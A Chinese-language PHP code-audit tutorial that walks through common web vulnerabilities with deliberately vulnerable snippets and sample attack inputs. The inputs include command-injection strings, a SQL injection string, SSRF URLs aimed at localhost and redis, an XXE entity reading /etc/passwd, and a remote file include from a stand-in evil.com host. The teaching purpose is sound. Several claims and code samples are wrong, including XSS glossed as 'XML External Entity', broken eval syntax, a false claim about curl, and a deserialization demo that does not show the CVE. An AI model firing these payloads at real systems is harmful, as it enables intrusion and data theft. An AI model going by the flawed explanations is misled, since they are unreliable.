PHP code audit(代码审计)是一个关键的流程,它能够帮助发现和解决应用程序的漏洞和安全问题,确保code的品质和可靠性。
用户输入
在进行代码审计时,首先需要对所有用户输入进行验证。常见的用户输入包括 $_SERVER、$_GET、$_POST 和 $_FILES 等。如果这些用户输入未经过验证就被用于代码中,则可能会导致各种漏洞和安全问题。
常见漏洞
命令注入(Command Injection)
通常Code里面会使用一些系统语法
EX:
system()、exec()、shell_exec()、passthru()
<?php # PHP Command Injection範例$command = "ping $_GET['ip']";system($command)?>
攻击可以注入0.0.0.0;whoami;ls;pwd
的命令进行攻击
代码注入(Code Injection)
常见函数
eval();
preg_replace();
<?phpeval($_GET('ip'));?>
攻击者输入5; system('ls -al');
或5; phpinfo();
进行攻击
未作用户输入检查
SQL Injection
常见SQL注入攻击
input输入:' or 1=1;--'
XSS(XML External Entity)
跨站脚本攻击,使用户浏览器执行攻击者JS代码
?name=<script type="text/javascript">alert('1');</script>
文件利用(伪协议)
常见的文件利用漏洞,如data://、php://input、include()、require()、file://、dict://
SSRF(服务端请求伪造)
参数
php引起SSRF的主要参数,如curl()、file_get_content()、fsockopen()
<?php function curl($url){ $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url);?>
攻击者利用curl函数指向本机的地址,该地址可以是内部网路的某个私有IP地址。如果内部网路上有一个文件在此地址,攻击者就可以藉此下载该文件,因为curl函数会忽略HTTP请求中的主机名,并直接将请求发送到指定的IP地址。
输入 = 'http://example.com/ssrf.php?url=http://127.0.0.1/secret_document.pdf'
伪协议
如file、dict
http://example.com/ssrf.php?url=dict://127.0.0.1:6379/info //查看redis配置
防护:
过滤返回的响应统一错误讯息,避免用户可以根据错误讯息判断远程服务器的状态限制请求的端口。ex: 80,443,8080,8090禁止不常用的协议,只允许http跟https请求使用DNS缓存或是HOST白名单方式CSRF
情境:
受害者先登入了example.com系统
攻击者发送一段程式码,发送submit会同时将example.com的使用者帐号密码删除
受害者按下submit,因为example.com已被受害者登入过了,受害者的example.com的帐密被删除
防护:
拒绝空ReferrerAccess-Control-Allow-Origin不能设置*XXE
加载恶意XML,输出passwd
恶意XML:<!DOCTYPE root [ <!ENTITY sensitiveFile SYSTEM "file:///etc/passwd">]><root> <data>&sensitiveFile;</data></root>
PHP code
<?php $xml = file_get_contents('payload.xml'); $doc = new DOMDocument(); $doc->loadXML($xml); echo $doc->getElementsByTagName('data')[0]->nodeValue;?>
文件包含漏洞
如include()、require()
等函数引入外部档案,若未针对外部档案做验证,攻击可能利用这个漏洞注入恶意程式码
$page = $_GET['page']; include($page . '.php');
攻击者可以在page输入匡注入http://evil.com/malicious
引入恶意程式码
任意文件删除/读取
unlink()
file_get()
fopen()
反序列化
php magic method
__sleep() # 先被调用,后才执行serialize方法。__sleep方法决定哪些属性被序列化,默认序列化所有属性。 __wakeup() # 先被调用,后才执行unserialize()方法。__wakeup()方法对哪些属性初始化、赋值或改变
範例
CVE漏洞 :
影响範围:
PHP5 < 5.6.25
PHP7 < 7.0.10
当序列化字串对象属性大于实际属性数量时,将不会调用__wakeup函数
<?phpclass human{ public $name; public $age; function __wakeup() { $this->name='Hello wake up '; } function __destruct() { echo $this->name; }}$array = new human();$array->name = 'Tom';$array->age = 20;$sArray = serialize($array);var_dump($sArray); # string(52) "O:5:"human":2:{s:4:"name";s:3:"Tom";s:3:"age";i:20;}"# change serialize string$sArray = 'O:5:"human":2:{s:1:"name";s:3:"Tom";s:3:"age";i:20;}';$resetArray = unserialize($sArray); # Notice: unserialize(): Errorvar_dump($resetArray); # bool(false)
防护:
不允许用户控制unserialize函数的参数修改成json_encode()和json_decode()弱类型
弱类型也可能导致code error,因为弱类型的变量类型是动态确定的,所以在运算或是比较时可能会发生类型转换,可能导致非预期的结果。同时也代表code的逻辑可能会出现错误、可读性差的结果
比较符号
== vs. ===
== 在比较时,会先将两者类型转换为相同类型,再进行比较
var_dump(5=="5") // bool(true)var_dump(5==="5") // bool(false)// evar_dump("0e123456"=="0e456789"); // bool(true)
array_search
比较时用到了==非===
array_search()
$array=[0,1,2,'3'];var_dump(array_search(1,$array)); // int(1)var_dump(array_search("0",$array)); // int(0)var_dump(array_search("0e0",$array)); // int(0)var_dump(array_search("1e0",$array)); // int(1)var_dump(array_search("admin",$array)); // bool(false)
in_array()
与array_search()一样,会进行类型的转换
$array=[0,1,2,'3'];var_dump(in_array('0', $array)); // bool(true)var_dump(in_array(3, $array)); // bool(true)
杂凑
杂凑值是[数字]+'e'+[数字],导致只有比对'e'前的数字
来源
var_dump(md5('240610708') == md5('QNKCDZO'));